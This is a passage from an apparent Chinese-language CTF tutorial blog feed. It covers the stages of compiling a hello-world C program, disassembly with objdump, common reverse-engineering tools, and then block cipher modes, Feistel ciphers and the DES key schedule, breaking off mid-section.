class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"># <span class="number">1</span> <span class="string">&quot;hello.c&quot;</span></span><br><span class="line"># <span class="number">1</span> <span class="string">&quot;&lt;built-in&gt;&quot;</span></span><br><span class="line">...</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">char</span> __u_char;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">short</span> <span class="type">int</span> __u_short;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">int</span> __u_int;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">long</span> <span class="type">int</span> __u_long;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="type">signed</span> <span class="type">char</span> <span class="type">__int8_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">char</span> <span class="type">__uint8_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">signed</span> <span class="type">short</span> <span class="type">int</span> <span class="type">__int16_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">short</span> <span class="type">int</span> <span class="type">__uint16_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">signed</span> <span class="type">int</span> <span class="type">__int32_t</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">int</span> <span class="type">__uint32_t</span>;</span><br><span class="line">...</span><br><span class="line"># <span class="number">2</span> <span class="string">&quot;hello.c&quot;</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Hello, World!\n&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>這個步驟可以由單一指令完成：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -E hello.c -o hello.i</span><br></pre></td></tr></table></figure><p>我們可以看到，原先的<code>hello.c</code>運用到的函式都先被還原成最原始的定義式，包含<code>#include</code>的下游內容也會被載入到程式中，形成一個相對冗長的原始碼型態，目的是在接下來的處理中處理器能夠更輕易的存取到需要的外部檔案與各種定義。</p><h2 id="Compiler"><a href="#Compiler" class="headerlink" title="Compiler"></a>Compiler</h2><p>接著我們看看編譯(compile)的階段，對應輸出檔案是<code>hello.s</code>。產生易讀檔案指令如下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gcc -S hello.c -o hello.s -masm=intel -fno-asynchronous-unwind-tables</span><br></pre></td></tr></table></figure><p>將組合語言的內容印出看看：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">        .file   &quot;hello.c&quot;</span><br><span class="line">        .intel_syntax noprefix</span><br><span class="line">        .text</span><br><span class="line">        .section        .rodata</span><br><span class="line">.LC0:</span><br><span class="line">        .string &quot;Hello, World!&quot;</span><br><span class="line">        .text</span><br><span class="line">        .globl  main</span><br><span class="line">        .type   main, @function</span><br><span class="line">main:</span><br><span class="line">        endbr64</span><br><span class="line">        push    rbp</span><br><span class="line">        mov     rbp, rsp</span><br><span class="line">        lea     rdi, .LC0[rip]</span><br><span class="line">        call    puts@PLT</span><br><span class="line">        mov     eax, 0</span><br><span class="line">        pop     rbp</span><br><span class="line">        ret</span><br><span class="line">        .size   main, .-main</span><br><span class="line">        .ident  &quot;GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0&quot;</span><br><span class="line">        .section        .note.GNU-stack,&quot;&quot;,@progbits</span><br><span class="line">        .section        .note.gnu.property,&quot;a&quot;</span><br><span class="line">        .align 8</span><br><span class="line">        .long    1f - 0f</span><br><span class="line">        .long    4f - 1f</span><br><span class="line">        .long    5</span><br><span class="line">0:</span><br><span class="line">        .string  &quot;GNU&quot;</span><br><span class="line">1:</span><br><span class="line">        .align 8</span><br><span class="line">        .long    0xc0000002</span><br><span class="line">        .long    3f - 2f</span><br><span class="line">2:</span><br><span class="line">        .long    0x3</span><br><span class="line">3:</span><br><span class="line">        .align 8</span><br><span class="line">4:</span><br></pre></td></tr></table></figure><p>可以發現原本的C語言已經消失，變成了組合語言。從<code>main</code>函數的地方可以明顯的看出，除了一些額外的小設定之外，程式先去<code>LC0</code>的地方取出<code>&quot;Hello World!&quot;</code>字串，再從呼叫外部.PLT表(pwn中清楚說明)中的<code>puts()</code>函數輸出<code>&quot;Hello World!&quot;</code>，利用直接讀組合語言的方式便能輕鬆的釐清這類簡單程式的邏輯，這在之後的Reverse題目中是非常重要的技能。</p><h2 id="Assembler"><a href="#Assembler" class="headerlink" title="Assembler"></a>Assembler</h2><p>接著進入到了目的碼的部分，<code>hello.s</code>被組譯器組譯成了<code>hello.o</code>，看看裡面寫了些什麼：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gcc -c hello.c -o hello.o</span><br><span class="line">gcc -c hello.s -o hello.o</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">��UH��H�=��]�Hello, World!GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0GNU�zRx</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">                                                                                      </span><br><span class="line">R</span><br><span class="line"> ��       ello.cmain_GLOBAL_OFFSET_TABLE_puts</span><br><span class="line">                                                               ��������</span><br><span class="line">                                                                           �������� .symtab.strtab.shstrtab.rela.text.                                                                                                                     .data.bss.rodata.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @X0</span><br><span class="line">                                                                               &amp;[[1[90i,B�R�j�e@�</span><br><span class="line">                                                                                                                      �8</span><br><span class="line"></span><br><span class="line">       ()�t</span><br></pre></td></tr></table></figure><p>此時的<code>hello.s</code>已經被處理成了一個可重定位檔案(Relocatable File)<code>hello.o</code>，因此已經十分接近可執行檔了。我們利用<code>objdump</code>看看裡面的程式型態：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">$ objdump -M intel -d hello.o</span><br><span class="line"></span><br><span class="line">hello.o:     file format elf64-x86-64</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Disassembly of section .text:</span><br><span class="line"></span><br><span class="line">0000000000000000 &lt;main&gt;:</span><br><span class="line">   0:   f3 0f 1e fa             endbr64</span><br><span class="line">   4:   55                      push   rbp</span><br><span class="line">   5:   48 89 e5                mov    rbp,rsp</span><br><span class="line">   8:   48 8d 3d 00 00 00 00    lea    rdi,[rip+0x0]        # f &lt;main+0xf&gt;</span><br><span class="line">   f:   e8 00 00 00 00          call   14 &lt;main+0x14&gt;</span><br><span class="line">  14:   b8 00 00 00 00          mov    eax,0x0</span><br><span class="line">  19:   5d                      pop    rbp</span><br><span class="line">  1a:   c3                      ret</span><br></pre></td></tr></table></figure><p>因為還沒進行連結(link)，因此<code>main</code>函數中的位址仍舊是相對的，程式自動利用<code>0x000000</code>作為base address，呈現相對位址的型態，同時外界的GOT表、PLT表等都尚未進行連結，因此在呼叫<code>puts()</code>時會被設定為下一行的位址<code>0x14</code>。因為資訊不完整的緣故，現在的<code>hello.o</code>是沒有辦法跑起來的。</p><h2 id="Executable"><a href="#Executable" class="headerlink" title="Executable"></a>Executable</h2><p>終於進行到了最後一步，我們要將<code>hello.o</code>進行外部連結，產生最後的可執行檔。<code>-static</code>會強制程式使用靜態連結，即不採用外界表直接將程式內容寫進可執行檔，可以完整看到所有呼叫內容的組合語言(但會變得很冗長)。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gcc hello.o -o hello -static</span><br><span class="line">gcc hello.c -o hello -static</span><br></pre></td></tr></table></figure><p>最終便產生可執行程式<code>hello</code>，利用<code>objdump</code>觀察一下<code>main</code>函數的部分：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">0000000000001149 &lt;main&gt;:</span><br><span class="line">    1149:       f3 0f 1e fa             endbr64</span><br><span class="line">    114d:       55                      push   rbp</span><br><span class="line">    114e:       48 89 e5                mov    rbp,rsp</span><br><span class="line">    1151:       48 8d 3d ac 0e 00 00    lea    rdi,[rip+0xeac]        # 2004 &lt;_IO_stdin_used+0x4&gt;</span><br><span class="line">    1158:       e8 f3 fe ff ff          call   1050 &lt;puts@plt&gt;</span><br><span class="line">    115d:       b8 00 00 00 00          mov    eax,0x0</span><br><span class="line">    1162:       5d                      pop    rbp</span><br><span class="line">    1163:       c3                      ret</span><br><span class="line">    1164:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]</span><br><span class="line">    116b:       00 00 00</span><br><span class="line">    116e:       66 90                   xchg   ax,ax</span><br></pre></td></tr></table></figure><p>可以發現<code>main</code>函數已經被連結到正確的位址<code>0x1149</code>，也做好了函數的所有呼叫連結，所以程式能夠正常運行了。以上就是所有產生可執行檔中間的內容～</p><h1 id="Disassemble"><a href="#Disassemble" class="headerlink" title="Disassemble"></a>Disassemble</h1><p>反組譯是逆向工程中最簡單的部分，此過程為將可執行檔轉換成組合語言的過程，大部分的工具都能做到這件事，包含gdb、objdump等，主要是因為組合語言轉換成可執行檔的過程僅是將組合語言翻譯成機器碼，故此部分的逆向可以輕易轉回，如下所示：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">$ objdump -M intel -d hello</span><br><span class="line"></span><br><span class="line">hello:     file format elf64-x86-64</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Disassembly of section .init:</span><br><span class="line"></span><br><span class="line">0000000000001000 &lt;_init&gt;:</span><br><span class="line">    1000:       f3 0f 1e fa             endbr64</span><br><span class="line">    1004:       48 83 ec 08             sub    rsp,0x8</span><br><span class="line">    1008:       48 8b 05 d9 2f 00 00    mov    rax,QWORD PTR [rip+0x2fd9]        <span class="comment"># 3fe8 &lt;__gmon_start__&gt;</span></span><br><span class="line">    100f:       48 85 c0                <span class="built_in">test</span>   rax,rax</span><br><span class="line">    1012:       74 02                   je     1016 &lt;_init+0x16&gt;</span><br><span class="line">    1014:       ff d0                   call   rax</span><br><span class="line">    1016:       48 83 c4 08             add    rsp,0x8</span><br><span class="line">    101a:       c3                      ret</span><br><span class="line"></span><br><span class="line">Disassembly of section .plt:</span><br><span class="line"></span><br><span class="line">0000000000001020 &lt;.plt&gt;:</span><br><span class="line">    1020:       ff 35 9a 2f 00 00       push   QWORD PTR [rip+0x2f9a]        <span class="comment"># 3fc0 &lt;_GLOBAL_OFFSET_TABLE_+0x8&gt;</span></span><br><span class="line">    1026:       f2 ff 25 9b 2f 00 00    bnd jmp QWORD PTR [rip+0x2f9b]        <span class="comment"># 3fc8 &lt;_GLOBAL_OFFSET_TABLE_+0x10&gt;</span></span><br><span class="line">    102d:       0f 1f 00                nop    DWORD PTR [rax]</span><br><span class="line">    1030:       f3 0f 1e fa             endbr64</span><br><span class="line">    1034:       68 00 00 00 00          push   0x0</span><br><span class="line">    1039:       f2 e9 e1 ff ff ff       bnd jmp 1020 &lt;.plt&gt;</span><br><span class="line">    103f:       90                      nop</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>然而，組合語言過程依舊有資訊遺失，因為反編譯時必須確定哪些機器碼是作為程式部分、哪些做為資料部分，才能精準反組譯，若是不小心將資料同樣反組譯，出現的組合語言就不會正確。現今組合語言的架構將程式與資料的界線弄得相當模糊，因此也不能確保反組譯組合語言輸出的內容必定正確，包含JMP LABEL的資訊是非常容易在反組譯過程遺失的。不過我們可以透過以下兩種演算法來還原程式流程，<strong>線性掃描與遞迴下降</strong>。</p><p><strong>線性掃描</strong>簡而言之就是暴力搜索，根據機器碼的位置從頭到尾進行反組譯，但只要中間插入了其他資料，這種演算法就會失效。</p><p><strong>遞迴下降</strong>則是透過程式的特徵(pattern)來進行判斷，如條件指令就可能會出現兩個分支，普通指令則會直接執行下一行等，遞迴下降會使用這種方法來判斷自己反組譯的內容是否正確，普遍而言正確率較線性掃描高，一般工具都會使用這種演算法來反組譯。</p><h1 id="Decompile"><a href="#Decompile" class="headerlink" title="Decompile"></a>Decompile</h1><p>反編譯的部分難度較反組譯高上許多，許多語言包含C/C++甚至沒有對應的反組譯器，從上面也可以看到，編譯的過程中程式出現了重大的改變，因此許多資訊在編譯過程中是會遺失的，也因此反編譯的難度極高。當然，也有某些程式語言如Java、C#等，可以透過特定的工具完整還原原始程式，但基本上大部分的高階語言仍然無法完全反編譯。這裡先簡單介紹一些工具，後續會陸續介紹這些工具的使用方法。</p><h2 id="dnSpy"><a href="#dnSpy" class="headerlink" title="dnSpy"></a>dnSpy</h2><p>這個工具是專門用來逆向C#的可執行檔<code>.NET</code>的工具，基於C#的特性，dnSpy基本上在有完整<code>.dll</code>檔的情況下可以完整逆出程式邏輯與資料(但有些時候會有資訊遺漏)，遇到<code>.NET</code>的問題通常是使用這個來逆向處理。使用介面如下：</p><p><img src="https://i.imgur.com/fsN7qeB.png"></p><h2 id="Java-Decompiler"><a href="#Java-Decompiler" class="headerlink" title="Java Decompiler"></a>Java Decompiler</h2><p>Java的下游檔案<code>.class</code>與<code>.jar</code>也可以直接透過逆向工具來完整逆向，一般使用線上工具即可，也有本地的軟體能夠使用，以下列出幾個好用的工具：</p><ul><li><a href="http://java-decompiler.github.io/">Java-decompiler</a>：本地工具</li><li><a href="http://www.javadecompilers.com/">Online Tool</a>：線上工具</li></ul><h2 id="IDA-Pro"><a href="#IDA-Pro" class="headerlink" title="IDA Pro"></a>IDA Pro</h2><p>IDA Pro是目前市面上數一數二強大的分析工具，可以對於x86、ARM等多個架構進行PE、ELF檔案的逆向靜態分析與動態偵錯，其內部使用Hex-Rays Decompiler，可以針對組合語言產生C語言偽原始碼，基本上雖然不精確，但對於分析而言是一個非常大的幫助，包含釐清程式的函式功能等。以下是使用的介面示意圖：</p><p><img src="https://i.imgur.com/ZBBX1xl.png"></p><h2 id="Ghidra"><a href="#Ghidra" class="headerlink" title="Ghidra"></a>Ghidra</h2><p>Ghidra的性質與IDA Pro類似，使用Java開發，基本上與IDA Pro相去無幾，且為開源程式，雖然plugin比IDA Pro少一些，但基本的反組譯、反編譯功能也不輸IDA Pro，詳細的使用介面如下：</p><p><img src="https://i.imgur.com/2Er59qz.png"></p><h2 id="gdb"><a href="#gdb" class="headerlink" title="gdb"></a>gdb</h2><p>gdb是一款強大的GNU命令列偵錯器，用於逆向工程的動態分析，並且支援Python的程式使用，擴充外掛也同樣易用，根據不同的需求，常用的外掛有gef、peda與pwndbg，讀者可以根據自己的需求選擇使用。使用介面如下(以pwndbg為例)：</p><p><img src="https://i.imgur.com/e3wrmWA.png"></p><h2 id="radare2"><a href="#radare2" class="headerlink" title="radare2"></a>radare2</h2><p>radare2是進行逆向工程的好工具，最大好處是支援命令列功能，可以在Linux CMD中運行，與IDA Pro能進行的功能已相當接近，但需要注意的是，這項工具並沒有反編譯功能。使用介面如下：</p><p><img src="https://i.imgur.com/eqfkCNe.png"></p><h2 id="Ollydbg-amp-x64dbg"><a href="#Ollydbg-amp-x64dbg" class="headerlink" title="Ollydbg &amp; x64dbg"></a>Ollydbg &amp; x64dbg</h2><p>這兩個工具是專門用於Windows逆向的偵錯工具，其中Ollydbg支援32bit，x64dbg則擴充支援32bit與64bit。這兩個工具的擴充性同樣很高，主要是針對Windows逆向的題目較能夠處理，但其中並沒有反編譯的功能。以下是使用介面(以x64dbg為例)：</p><p><img src="https://i.imgur.com/e3eBOFW.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Reverse是CTF競賽中算是相對困難度高的一個類別，基於其比較偏向電腦底層的部分，因此相對不會像之前的Web與Crypto類別那麼直覺，除了二進位檔案的靜態與動態分析，組合語言(assembly)也會是其中一個重點學習的部分，因此這裡也會先介紹一些需要知道的組合語言知識</summary>
      
    
    
    
    <category term="CTF" scheme="http://blog.albert-web.tw/categories/CTF/"/>
    
    
    <category term="Security" scheme="http://blog.albert-web.tw/tags/Security/"/>
    
    <category term="CTF" scheme="http://blog.albert-web.tw/tags/CTF/"/>
    
    <category term="Education" scheme="http://blog.albert-web.tw/tags/Education/"/>
    
    <category term="Reverse Engineering" scheme="http://blog.albert-web.tw/tags/Reverse-Engineering/"/>
    
  </entry>
  
  <entry>
    <title>CTF系列-Cryptography密碼學進階I</title>
    <link href="http://blog.albert-web.tw/2023/01/28/ctf-crypto-2/"/>
    <id>http://blog.albert-web.tw/2023/01/28/ctf-crypto-2/</id>
    <published>2023-01-28T21:41:20.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>上一篇Crypto介紹了編碼與古典密碼學的部分，接下來要進入相對複雜不少的現代密碼學囉!現代密碼學的種類繁多，如DES、AES、RSA等都被歸類於現代密碼，非對稱式的加密模式也使攻擊者解密的難度大大增加，究竟現在發展出了哪些攻擊方法來攻擊這些看起來堅不可摧的加密法呢？一起來看看進階的密碼學吧!歡迎各位來訊說明或補充筆者不足的部分喔!😊</p><h1 id="Block-Cipher"><a href="#Block-Cipher" class="headerlink" title="Block Cipher"></a>Block Cipher</h1><p>在進入現代密碼學之前，必須先了解區塊密碼的實現原理，DES、AES等高階密碼都有使用到這種方式來確保加密的安全性。Block Cipher可以被視為一種特殊的替代密碼，但一次替代的是一個區塊，而非一個字元。由於明文的長度非常大，因此對於不同的key，無法以對應表的方式處理加解密，僅能透過特殊的演算法來還原明文。</p><p>Block Cipher允許透過單一key對長度大於其的明文進行加密，但必須先將明文依照密鑰長度進行分塊，最後不足密鑰長度的區塊須以特殊的填充方法(padding)使其與其他區塊的長度相同(可攻擊的點，稍後說明)，因此命名為區塊密碼。通常在加密前會先有一個初始向量(Initial Vector，$IV$)來對原始的第一塊明文進行處理，以確保第一塊明文不會被輕易破解，而第一塊處理完成的密文則會成為第二塊明文的$IV$，以此類推完成整個加密過程。以下則是五種常見的區塊密碼模式。</p><h2 id="Electronic-CodeBook-ECB"><a href="#Electronic-CodeBook-ECB" class="headerlink" title="Electronic CodeBook (ECB)"></a>Electronic CodeBook (ECB)</h2><p>ECB是區塊密碼最簡單的一種模式，這種模式沒有初始向量，直接以密鑰對明文進行加密後輸出，這也意味著若是有區塊為相同的明文，將被加密成為相同的密文塊，因此最容易被攻擊。詳細加密的邏輯如下：</p><p>$C_i=E(P_i)$<br>$P_i=D(C_i)$</p><p><img src="https://i.imgur.com/ozcGBMg.png"></p><h2 id="Cipher-Block-Chaining-CBC"><a href="#Cipher-Block-Chaining-CBC" class="headerlink" title="Cipher Block Chaining (CBC)"></a>Cipher Block Chaining (CBC)</h2><p>CBC模式中與ECB不同的地方在於，分塊後的明文會先與特定密文進行XOR後再進行加密處理，第一塊與$IV$ XOR，其餘與前一塊所產生的密文XOR。假設第一個區塊的index為1，CBC的加解密能夠被表示為：</p><p>$C_0=IV…C_i=E_n(P_i⊕C_{i-1})$<br>$C_0=IV…P_i=D_n(C_i)⊕C_{i-1}$</p><p><img src="https://i.imgur.com/PjhOInW.png"></p><p>其中一種最常見的攻擊手法簡單來說會是利用改變某一位密文導致的解密錯誤來試出正確的明文，後面會再詳細說明。</p><h2 id="Output-FeedBack-OFB"><a href="#Output-FeedBack-OFB" class="headerlink" title="Output FeedBack (OFB)"></a>Output FeedBack (OFB)</h2><p>OFB與前面兩種模式又不同了，他是使用$IV$來進行加密，產出$IV$的密文後再與第一塊明文進行XOR，同時這個中介密文會成為下一個加密的輸入。基於XOR的特性$A⊕B=C\implies A=B⊕C，B=A⊕C$，OFB模式下的加解密操作會完全相同。詳細概念如下：</p><p>$O_0=IV…O_i=E(O_{i-1})$<br>$C_i=P_i⊕O_i$，$P_i=C_i⊕O_i$</p><p><img src="https://i.imgur.com/iXlw2Pa.png"></p><p>由於OFB的工作模式類似流密碼，因此在改變一位密文時也只會改變一位的解密結果，安全性相較ECB與CBC高上許多。</p><h2 id="Cipher-FeedBack-CFB"><a href="#Cipher-FeedBack-CFB" class="headerlink" title="Cipher FeedBack (CFB)"></a>Cipher FeedBack (CFB)</h2><p>CFB的型態與OFB幾乎相同，唯一的差別是OFB拿來成為下一塊加密輸入的是IV的加密流，而CFB則是取前一塊的最終密文。詳細說明如下：</p><p>$C_0=IV$<br>$C_i=P_i⊕E(C_{i-1})$<br>$P_i=C_i⊕E(C_{i-1})$</p><p><img src="https://i.imgur.com/RpzGR9T.png"></p><p>由於取用的關聯性變複雜了，CFB的安全性稍稍高於OFB，但基本上沒有太大的差別。</p><h2 id="Counter-Mode-CTR"><a href="#Counter-Mode-CTR" class="headerlink" title="Counter Mode (CTR)"></a>Counter Mode (CTR)</h2><p>最後是CTR，基本上它可以被理解為OFB的變形，首先一個固定的$Nonce$(可以視為$IV$)與計數器$Counter$透過加密者希望的方式連接，而計數器如何計數也能夠由加者者自行決定，下方以正規計數器的模式作為範例。其中計數器存在的目的為保證長時間的加密不重複輸出。而接著將$Nonce$與$Counter$組合出的字串加密後與明文XOR進行加密處理。詳細情況如下：</p><p>$O_i=Nonce$ $..$ $Counter_i$<br>$C_i=P_i⊕O_i，P_i=C_i⊕O_i$</p><p><img src="https://i.imgur.com/Gxb5CrH.png"></p><p>因為$Nonce$與$Counter$基本上在每一塊的連接上會有關聯性，因此可以將其視為金鑰流(flow)，且實作上又比OFB更加複雜，目前幾乎可以保證安全性。</p><h1 id="Feistel-Cipher"><a href="#Feistel-Cipher" class="headerlink" title="Feistel Cipher"></a>Feistel Cipher</h1><p>費斯妥密碼是分組密碼最常使用的一種加密方案，包含了稍後會提到的DES(Data Encryption Standard，資料加密標準)，其優點在於加密與解密的過程十分類似，在某些程序中甚至完全相同，只需要逆向操作即可。</p><p>費斯妥密碼的加密過程會先將明文塊拆分為兩個等長的塊$(L_0,R_0)$，對單一區塊加密$n$次，使用$F$作為內部函數(各種Block Cipher Encryption更改的地方)(不須可逆)，且令每一步所使用的密鑰為$K_0,K_1…K_n$，第一次使用$R_0$作為輸入、$K_0$作為密鑰進行加密，密文與$L_0$XOR之後作為下一次加密的輸入，$R_0$則直接下放成為與下次密文XOR的對象，簡而言之就是$L$與$R$的角色互換，如此進行$n$次後將兩者合併作為輸出，因此圖案會是連續左右交錯的$X$型。以數學則可表為遞迴表達式：</p><p>$L_{i+1}=R_i$<br>$R_{i+1}=L_i⊕F(R_i,K_i)$</p><p>解密則十分類似，僅是將加密的過程反向做一次而已(利用XOR的可逆性)。</p><p>$R_i=L_{i+1}$<br>$L_i=R_{i+1}⊕F(L_{i+1},K_i)$</p><p><img src="https://i.imgur.com/3COHa7D.png"></p><p>因為$F$函數的不可預測性，攻擊者基本上無法以這個地方作為切入點發動攻擊。</p><h1 id="DES"><a href="#DES" class="headerlink" title="DES"></a>DES</h1><p>終於要隆重介紹今天的主角DES了～DES是一種對稱式密鑰加密塊密碼演算法(它是對稱是加密唷!)，它其實是一個向大眾徵集足夠嚴謹加密算法的產物，最初期的草稿由IBM公司設計，1976年被美國聯邦政府的國家標準局確定為聯邦資料處理標準(FIPS)，隨後在國際上廣泛流傳開來。它的基本金鑰是56bit，由於是由美國國家機關發出，金鑰長度又相對較短，被懷疑內含美國國安局NSA的後門(sbox等置換表)，剛推出時受到了嚴密審查，也因而被公認是推動Block Cipher發展的一套加密方法。</p><p>DES現今已不是安全的加密模式，主因為其使用的56bit金鑰過短，在1999年時就曾經有全新的加密內容在一天內被破解。在安全性的考量上，可以使用DES的衍生演算法3DES來進行加密，雖然3DES也存在理論上的攻擊方法，後面會提及如何攻擊。也基於DES的不安全，它的進階加密方法AES也在數年後出現，將在下一個段落詳細介紹。</p><p>DES在加密的過程中將會有五個主要步驟，以下將逐一說明。</p><h2 id="Initial-Permutation-IP"><a href="#Initial-Permutation-IP" class="headerlink" title="Initial Permutation (IP)"></a>Initial Permutation (IP)</h2><p>初始置換是DES的第一步，以64bit的明文為基準，分為一或多個明文區塊，每個明文區塊有64bit(不足補0)，且會依照以下表格進行置換，通稱為<strong>IP</strong>表：</p><p><img src="https://i.imgur.com/s2qkXP9.png"></p><p>如上所示，明文的第58位會被置換到IP表的第1位，而明文的第50位會被置換到IP表的第二位，以此類推完成整張IP表。</p><h2 id="Subkey’s-Generation"><a href="#Subkey’s-Generation" class="headerlink" title="Subkey’s Generation"></a>Subkey’s Generation</h2><p>DES函數在加密時會傳入一個64bit的原始key，而這個原始key並不會被直接利用在加密中，而是先產生16組子金鑰。第零組子金鑰(不使用)的來源為以下這個表格的置換，本質上與IP表的置換原理完全一樣，這張表格稱為<strong>PC-1</strong>(Permuted choice 1)：</p><p><img src="https://i.imgur.com/sIGFEFN.png"></p><div class="note warning flat"><p>有發現表格中只剩下56格嗎?其實第<code>8,16,24,32,40,48,56,64</code>位這8位的key被指定作為**奇偶校驗位(parity bit)**，因此不會出現在表格中喔!</p></div><p>接著我們從左半金鑰置換表與右半金鑰置換表中，能夠得到兩個部分的金鑰$C_0$與$D_0$，接著在對其做出一個循環左移的操作，連續16次即可獲得$C_1$～$C_{16}$與$D_1$～$D_{16}$的值，其中在每次互換中的左移位數分別為：</p><p><img src="https://i.imgur.com/Cw4N5s4.png"><br>(上為index，下為左移位數)</p><p>接著將每組$C_i$與$D_i$組合完成，產生16組56位的次金鑰，最後再以另一張表格選出48位完成16組金鑰$K_1$～$K_{16}$最終置換，這張表格稱為<strong>PC-2</strong>(Permuted choice 2)：</p><p><img src="https://i.imgur.com/DeYRt66.png"></p><div class="note warning flat"><p>這次忽略的位數與上面稍有不同，為第<code>9,18,22,25,35,38,43,54</code>位。</p></div><h2 id="Encryption"><a href="#Encryption" class="headerlink" title="Encryption"></a>Encryption</h2><p>這個步驟就是應用到費斯妥密碼的想法所在了，前一個步驟產生了16種不同的金鑰，將會利用前面所提到的費斯妥密碼邏輯，一共重複16次來進行加密。而以下將詳細說明DES自訂的費斯妥函數$F$是如何運作的。</p><h3 id="費斯妥函數-F"><a href="#費斯妥函數-F" class="headerlink" title="費斯妥函數$F$"></a>費斯妥函數$F$</h3><p>DES的$F$函數作用概念如下所示：</p><p><img src="https://i.imgur.com/ZX9eIxi.png"></p><p>前面有提到，費斯妥函數的輸入會是明文塊的其中一半與金鑰，如上所示。首先一半的明文$R_0$會先經過擴張置換$E$從32bit擴張到48bit(為了之後與48bit的密鑰XOR)，置換表格如下：</p><p><img src="https://i.imgur.com/DU8o7jV.png"></p><div class="note warning 